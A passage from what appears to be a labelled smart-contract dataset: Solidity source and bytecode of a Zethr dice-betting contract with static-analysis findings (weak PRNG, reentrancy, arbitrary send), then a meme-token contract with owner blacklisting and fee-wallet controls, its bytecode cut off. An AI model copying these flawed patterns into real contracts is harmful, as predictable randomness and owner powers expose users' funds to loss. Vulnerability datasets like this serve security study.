playerRoll memory roll = playerRolls[_tkn.sender];
// Cannot bet twice in one block
require(block.number != roll.blockn);
// If there exists a roll, finish it
if (roll.blockn != 0) {
_finishBet(false, _tkn.sender);
}
// Set struct block number, token value, and rollUnder values
roll.blockn = uint48(block.number);
roll.tokenValue = uint200(_tkn.value);
roll.rollUnder = uint8(_rollUnder);
// Store the roll struct - 20k gas.
playerRolls[_tkn.sender] = roll;
// Provides accurate numbers for web3 and allows for manual refunds
emit LogBet(_tkn.sender, _tkn.value, _rollUnder);
// Increment total number of bets
totalBets += 1;
// Total wagered
totalZTHWagered += _tkn.value;
}
// Finished the current bet of a player, if they have one
function finishBet() public
gameIsActive
returns (uint)
{
return _finishBet(true, msg.sender);
}
/*
* Pay winner, update contract balance
* to calculate new max bet, and send reward.
*/
function _finishBet(bool delete_it, address target) private returns (uint){
playerRoll memory roll = playerRolls[target];
require(roll.tokenValue > 0); // No re-entracy
require(roll.blockn != block.number);
// If the block is more than 255 blocks old, we can't get the result
// Also, if the result has already happened, fail as well
uint result;
if (block.number - roll.blockn > 255) {
result = 1000; // Cant win
} else {
// Grab the result - random based ONLY on a past block (future when submitted)
result = random(99, roll.blockn, target) + 1;
}
uint rollUnder = roll.rollUnder;
if (result < rollUnder) {
// Player has won!
// Safely map player profit
uint profit = calculateProfit(roll.tokenValue, rollUnder);
if (profit > maxProfit){
profit = maxProfit;
}
// Safely reduce contract balance by player profit
contractBalance = contractBalance.sub(profit);
emit LogResult(target, result, rollUnder, profit, roll.tokenValue, true);
// Update maximum profit
setMaxProfit();
// Prevent re-entracy memes
delete playerRolls[target];
// Transfer profit plus original bet
ZTHTKN.transfer(target, profit + roll.tokenValue);
return result;
} else {
/*
* Player has lost
* Update contract balance to calculate new max bet
*/
emit LogResult(target, result, rollUnder, profit, roll.tokenValue, false);
/*
* Safely adjust contractBalance
* SetMaxProfit
*/
contractBalance = contractBalance.add(roll.tokenValue);
// No need to actually delete player roll here since player ALWAYS loses
// Saves gas on next buy
// Update maximum profit
setMaxProfit();
return result;
}
}
// TKN struct
struct TKN {address sender; uint value;}
// Token fallback to bet or deposit from bankroll
function tokenFallback(address _from, uint _value, bytes _data) public returns (bool) {
require(msg.sender == ZTHTKNADDR);
if (_from == ZethrBankroll) {
// Update the contract balance
contractBalance = contractBalance.add(_value);
// Update the maximum profit
uint oldMaxProfit = maxProfit;
setMaxProfit();
emit MaxProfitChanged(oldMaxProfit, maxProfit);
return true;
} else {
TKN memory _tkn;
_tkn.sender = _from;
_tkn.value = _value;
uint8 chosenNumber = uint8(_data[0]);
_playerRollDice(chosenNumber, _tkn);
}
return true;
}
/*
* Sets max profit
*/
function setMaxProfit() internal {
emit CurrentContractBalance(contractBalance);
maxProfit = (contractBalance * maxProfitAsPercentOfHouse) / maxProfitDivisor;
}
// Only owner adjust contract balance variable (only used for max profit calc)
function ownerUpdateContractBalance(uint newContractBalance) public
onlyOwner
{
contractBalance = newContractBalance;
}
// Only owner address can set maxProfitAsPercentOfHouse
function ownerSetMaxProfitAsPercentOfHouse(uint newMaxProfitAsPercent) public
onlyOwner
{
// Restricts each bet to a maximum profit of 20% contractBalance
require(newMaxProfitAsPercent <= 200000);
maxProfitAsPercentOfHouse = newMaxProfitAsPercent;
setMaxProfit();
}
// Only owner address can set minBet
function ownerSetMinBet(uint newMinimumBet) public
onlyOwner
{
minBet = newMinimumBet;
}
// Only owner address can transfer ZTH
function ownerTransferZTH(address sendTo, uint amount) public
onlyOwner
{
// Safely update contract balance when sending out funds
contractBalance = contractBalance.sub(amount);
// update max profit
setMaxProfit();
require(ZTHTKN.transfer(sendTo, amount));
emit LogOwnerTransfer(sendTo, amount);
}
// Only owner address can set emergency pause #1
function ownerPauseGame(bool newStatus) public
onlyOwner
{
gamePaused = newStatus;
}
// Only owner address can set bankroll address
function ownerSetBankroll(address newBankroll) public
onlyOwner
{
ZTHTKN.approve(ZethrBankroll, 0);
ZethrBankroll = newBankroll;
ZTHTKN.approve(newBankroll, MAX_INT);
}
// Only owner address can set owner address
function ownerChangeOwner(address newOwner) public
onlyOwner
{
owner = newOwner;
}
// Only owner address can selfdestruct - emergency
function ownerkill() public
onlyOwner
{
ZTHTKN.transfer(owner, contractBalance);
selfdestruct(owner);
}
function dumpdivs() public{
ZethrBankroll.transfer(address(this).balance);
}
function _zthToken(address _tokenContract) private view returns (bool) {
return _tokenContract == ZTHTKNADDR;
// Is this the ZTH token contract?
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint a, uint b) internal pure returns (uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint a, uint b) internal pure returns (uint) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint a, uint b) internal pure returns (uint) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
}
|
0x6080604052600436106101745763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166304fcadf181146101765780630dda350f1461019d578063219df7ee146101b257806323214fab146101e35780633a4f6999146101f85780634025b5a81461020d57806343c1598d146102255780634f44728d1461023a57806355b930311461025b5780635e968a491461027057806361990759146102885780636cdf4c90146102ac5780636eacd48a146102c45780637c67ffe7146102de5780638701a2f0146102ff5780638b7afe2e146103145780638da5cb5b146103295780639619367d1461033e578063a948d72d14610353578063b539cd5514610368578063befa1e2f1461037d578063c0ee0b8a14610392578063c3de1ab91461040f578063ca9defb714610424578063ccd50d2814610448578063d263b7eb1461049b578063d667dcd7146104b0578063e5c774de146104c5578063f21502e5146104da575b005b34801561018257600080fd5b5061018b6104ef565b60408051918252519081900360200190f35b3480156101a957600080fd5b506101746104f5565b3480156101be57600080fd5b506101c7610532565b60408051600160a060020a039092168252519081900360200190f35b3480156101ef57600080fd5b5061018b610541565b34801561020457600080fd5b5061018b610547565b34801561021957600080fd5b5061017460043561054c565b34801561023157600080fd5b5061018b61056d565b34801561024657600080fd5b50610174600160a060020a0360043516610574565b34801561026757600080fd5b5061018b6105c5565b34801561027c57600080fd5b506101746004356105ca565b34801561029457600080fd5b5061018b600435600160a060020a0360243516610603565b3480156102b857600080fd5b506101746004356106a4565b3480156102d057600080fd5b5061017460043515156106c5565b3480156102ea57600080fd5b50610174600160a060020a03600435166106f4565b34801561030b57600080fd5b5061018b610871565b34801561032057600080fd5b5061018b610892565b34801561033557600080fd5b506101c7610898565b34801561034a57600080fd5b5061018b6108ac565b34801561035f57600080fd5b506101c76108b2565b34801561037457600080fd5b5061018b6108c1565b34801561038957600080fd5b5061018b6108c7565b34801561039e57600080fd5b50604080516020600460443581810135601f81018490048402850184019095528484526103fb948235600160a060020a03169460248035953695946064949201919081908401838280828437509497506108cd9650505050505050565b604080519115158252519081900360200190f35b34801561041b57600080fd5b506103fb6109c3565b34801561043057600080fd5b50610174600160a060020a03600435166024356109cc565b34801561045457600080fd5b50610469600160a060020a0360043516610ae6565b60408051600160c860020a03909416845265ffffffffffff909216602084015260ff1682820152519081900360600190f35b3480156104a757600080fd5b50610174610b1d565b3480156104bc57600080fd5b5061018b610bf7565b3480156104d157600080fd5b5061018b610bfd565b3480156104e657600080fd5b506101c7610c03565b600a5481565b600154604051600160a060020a0390911690303180156108fc02916000818181858888f1935050505015801561052f573d6000803e3d6000fd5b50565b600354600160a060020a031681565b60075481565b606381565b6000546101009004600160a060020a0316331461056857600080fd5b600455565b620f424081565b6000546101009004600160a060020a0316331461059057600080fd5b60008054600160a060020a039092166101000274ffffffffffffffffffffffffffffffffffffffff0019909216919091179055565b600281565b6000546101009004600160a060020a031633146105e657600080fd5b62030d408111156105f657600080fd5b600781905561052f610c12565b6040805183406020808301919091526c01000000000000000000000000600160a060020a0385160282840152825160348184030181526054909201928390528151600093918291908401908083835b602083106106715780518252601f199092019160209182019101610652565b5181516020939093036101000a600019018019909116921691909117905260405192018290039091209695505050505050565b6000546101009004600160a060020a031633146106c057600080fd5b600855565b6000546101009004600160a060020a031633146106e157600080fd5b6000805460ff1916911515919091179055565b6000546101009004600160a060020a0316331461071057600080fd5b600354600154604080517f095ea7b3000000000000000000000000000000000000000000000000000000008152600160a060020a0392831660048201526000602482018190529151929093169263095ea7b39260448083019360209383900390910190829087803b15801561078457600080fd5b505af1158015610798573d6000803e3d6000fd5b505050506040513d60208110156107ae57600080fd5b50506001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03838116918217909255600354604080517f095ea7b3000000000000000000000000000000000000000000000000000000008152600481019390935260001960248401525192169163095ea7b3916044808201926020929091908290030181600087803b15801561084257600080fd5b505af1158015610856573d6000803e3d6000fd5b505050506040513d602081101561086c57600080fd5b505050565b6000805460ff161561088257600080fd5b61088d600133610c59565b905090565b60045481565b6000546101009004600160a060020a031681565b60085481565b600154600160a060020a031681565b60065481565b60095481565b6000806108d861124f565b600254600090600160a060020a031633146108f257600080fd5b600154600160a060020a03888116911614156109725760045461091b908763ffffffff610f4116565b600455600654925061092b610c12565b60065460408051858152602081019290925280517fc515cfc3ee14c6e587c5755cfe9e60d7779b40b2216c63bc3699111dcdd45a8d9281900390910190a1600193506109b9565b600160a060020a03871682526020820186905284518590600090811061099457fe5b016020015160f860020a9081900481020490506109b460ff821683610f57565b600193505b5050509392505050565b60005460ff1681565b6000546101009004600160a060020a031633146109e857600080fd5b6004546109fb908263ffffffff6111b816565b600455610a06610c12565b600354604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a038581166004830152602482018590529151919092169163a9059cbb9160448083019260209291908290030181600087803b158015610a7557600080fd5b505af1158015610a89573d6000803e3d6000fd5b505050506040513d6020811015610a9f57600080fd5b50511515610aac57600080fd5b6040518190600160a060020a038416907f42c501a185f41a8eb77b0a3e7b72a6435ea7aa752f8a1a0a13ca4628495eca9190600090a35050565b600b60205260009081526040902054600160c860020a0381169060c860020a810465ffffffffffff169060f860020a900460ff1683565b6000546101009004600160a060020a03163314610b3957600080fd5b6003546000805460048054604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152610100909404600160a060020a039081169385019390935260248401919091525193169263a9059cbb92604480840193602093929083900390910190829087803b158015610bb857600080fd5b505af1158015610bcc573d6000803e3d6000fd5b505050506040513d6020811015610be257600080fd5b50506000546101009004600160a060020a0316ff5b60055481565b6103e881565b600254600160a060020a031681565b60045460408051918252517fdff64b0d3aeb3f517dce05c4a4b3f84c29fe10fa9c3390c3e85122da92101dee9181900360200190a1600754600454620f4240910204600655565b6000610c63611266565b50600160a060020a0382166000908152600b6020908152604080832081516060810183529054600160c860020a03811680835260c860020a820465ffffffffffff169483019490945260f860020a900460ff16918101919091529190819081908110610cce57600080fd5b602084015165ffffffffffff16431415610ce757600080fd5b60ff846020015165ffffffffffff1643031115610d08576103e89250610d26565b610d206063856020015165ffffffffffff16886111ca565b60010192505b836040015160ff16915081831015610ea3578351610d4d90600160c860020a0316836111e9565b9050600654811115610d5e57506006545b600454610d71908263ffffffff6111b816565b600455835160408051600160a060020a03891681526020810186905280820185905260608101849052600160c860020a039092166080830152600160a0830152517f34079d79bb31b852e172198518083b845886d3d6366fcff691718d392250a9899181900360c00190a1610de4610c12565b600160a060020a038087166000818152600b60209081526040808320839055600354895182517fa9059cbb0000000000000000000000000000000000000000000000000000000081526004810196909652600160c860020a031687016024860152905194169363a9059cbb93604480820194918390030190829087803b158015610e6d57600080fd5b505af1158015610e81573d6000803e3d6000fd5b505050506040513d6020811015610e9757600080fd5b50929450849250610f37565b835160408051600160a060020a03891681526020810186905280820185905260608101849052600160c860020a039092166080830152600060a0830152517f34079d79bb31b852e172198518083b845886d3d6366fcff691718d392250a9899181900360c00190a18351600454610f2891600160c860020a031663ffffffff610f4116565b600455610f33610c12565b8294505b5050505092915050565b600082820183811015610f5057fe5b9392505050565b610f5f611266565b60005460ff1615610f6f57600080fd5b816020015183600654610f8283836111e9565b108015610f9157506008548210155b8015610f9d5750600281115b8015610fa95750606381105b1515610fb457600080fd5b6020840151600160c860020a0311610fcb57600080fd5b65ffffffffffff4310610fdd57600080fd5b610fe63361123b565b1515610ff157600080fd5b8351600160a060020a03166000908152600b602090815260409182902082516060810184529054600160c860020a038116825260c860020a810465ffffffffffff1692820183905260f860020a900460ff169281019290925290935043141561105957600080fd5b602083015165ffffffffffff161561107c5761107a60008560000151610c59565b505b65ffffffffffff43811660208086019182528681018051600160c860020a03908116885260ff808b166040808b019182528b51600160a060020a039081166000908152600b88528290208c5181549951945190951660f860020a027effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff94909a1660c860020a027fff000000000000ffffffffffffffffffffffffffffffffffffffffffffffffff9590961678ffffffffffffffffffffffffffffffffffffffffffffffffff19909916989098179390931693909317169590951790935587519051835191909416815290810192909252818101879052517fcfb6e9afebabebfb2c7ac42dfcd2e8ca178dc6400fe8ec3075bd690d8e3377fe9181900360600190a150506009805460010190555060200151600a8054909101905550565b6000828211156111c457fe5b50900390565b6000836111d78484610603565b8115156111e057fe5b06949350505050565b6000826103e8600554856112076001876111b890919063ffffffff16565b61121887600163ffffffff6111b816565b606403880281151561122657fe5b04010281151561123257fe5b04039392505050565b600254600160a060020a0390811691161490565b604080518082019091526000808252602082015290565b6040805160608101825260008082526020820181905291810191909152905600a165627a7a7230582006d9008c9115906a2f23f1ecf8c5274fc84a76cd98d97cb847db306dce194ef00029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 9,345 |
0xc9b1b8dcfc087882238f247db82ae113f2d734e7
|
/**
🐶$RAINBOW SHIBA TOKEN🐶
🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶What is this? A flying shiba dog?
Admiring the flying rainbow shiba dog in the beautiful night sky.
No one know what is he going to do,
but his cape… is he going to save a city or something?🐶🐶🐶🐶🐶🐶🐶
Total supply: 2,000,000,000
Buy 5%
Sell 5%
❤️🔥Website : rainbowshibatoken.com
🐶Telegram : https://t.me/rainbowshibatoken
*/
pragma solidity ^0.8.7;
// SPDX-License-Identifier: UNLICENSED
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract RainbowShiba is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 2000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet;
string private constant _name = "RainbowShiba";
string private constant _symbol = "RainbowShiba";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
uint256 private _maxWalletSize = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet = payable(0x383aC031D285B4A4aFEA295C14f5ef4E769839BB);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 0;
_feeAddr2 = 5;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = 5;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function removeLimits() external onlyOwner{
_maxTxAmount = _tTotal;
_maxWalletSize = _tTotal;
}
function changeMaxTxAmount(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxTxAmount = _tTotal.mul(percentage).div(100);
}
function changeMaxWalletSize(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxWalletSize = _tTotal.mul(percentage).div(100);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = _tTotal.mul(2).div(100);
_maxWalletSize = _tTotal.mul(3).div(100);
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function nonosquare(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101235760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb146103a6578063b87f137a146103e3578063c3c8cd801461040c578063c9567bf914610423578063dd62ed3e1461043a5761012a565b806370a08231146102e5578063715018a614610322578063751039fc146103395780638da5cb5b1461035057806395d89b411461037b5761012a565b8063273123b7116100e7578063273123b714610228578063313ce567146102515780635932ead11461027c578063677daa57146102a55780636fc3eaec146102ce5761012a565b806306fdde031461012f578063095ea7b31461015a57806318160ddd146101975780631b3f71ae146101c257806323b872dd146101eb5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610477565b6040516101519190612e29565b60405180910390f35b34801561016657600080fd5b50610181600480360381019061017c9190612930565b6104b4565b60405161018e9190612e0e565b60405180910390f35b3480156101a357600080fd5b506101ac6104d2565b6040516101b99190612fcb565b60405180910390f35b3480156101ce57600080fd5b506101e960048036038101906101e49190612970565b6104e2565b005b3480156101f757600080fd5b50610212600480360381019061020d91906128dd565b61060c565b60405161021f9190612e0e565b60405180910390f35b34801561023457600080fd5b5061024f600480360381019061024a9190612843565b6106e5565b005b34801561025d57600080fd5b506102666107d5565b6040516102739190613040565b60405180910390f35b34801561028857600080fd5b506102a3600480360381019061029e91906129b9565b6107de565b005b3480156102b157600080fd5b506102cc60048036038101906102c79190612a13565b610890565b005b3480156102da57600080fd5b506102e3610969565b005b3480156102f157600080fd5b5061030c60048036038101906103079190612843565b6109db565b6040516103199190612fcb565b60405180910390f35b34801561032e57600080fd5b50610337610a2c565b005b34801561034557600080fd5b5061034e610b7f565b005b34801561035c57600080fd5b50610365610c34565b6040516103729190612d40565b60405180910390f35b34801561038757600080fd5b50610390610c5d565b60405161039d9190612e29565b60405180910390f35b3480156103b257600080fd5b506103cd60048036038101906103c89190612930565b610c9a565b6040516103da9190612e0e565b60405180910390f35b3480156103ef57600080fd5b5061040a60048036038101906104059190612a13565b610cb8565b005b34801561041857600080fd5b50610421610d91565b005b34801561042f57600080fd5b50610438610e0b565b005b34801561044657600080fd5b50610461600480360381019061045c919061289d565b6113c1565b60405161046e9190612fcb565b60405180910390f35b60606040518060400160405280600c81526020017f5261696e626f7753686962610000000000000000000000000000000000000000815250905090565b60006104c86104c1611448565b8484611450565b6001905092915050565b6000671bc16d674ec80000905090565b6104ea611448565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610577576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056e90612f0b565b60405180910390fd5b60005b81518110156106085760016006600084848151811061059c5761059b613388565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610600906132e1565b91505061057a565b5050565b600061061984848461161b565b6106da84610625611448565b6106d58560405180606001604052806028815260200161374760289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061068b611448565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cae9092919063ffffffff16565b611450565b600190509392505050565b6106ed611448565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461077a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077190612f0b565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6107e6611448565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610873576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086a90612f0b565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b610898611448565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610925576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091c90612f0b565b60405180910390fd5b6000811161093257600080fd5b610960606461095283671bc16d674ec80000611d1290919063ffffffff16565b611d8d90919063ffffffff16565b600f8190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109aa611448565b73ffffffffffffffffffffffffffffffffffffffff16146109ca57600080fd5b60004790506109d881611dd7565b50565b6000610a25600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e4356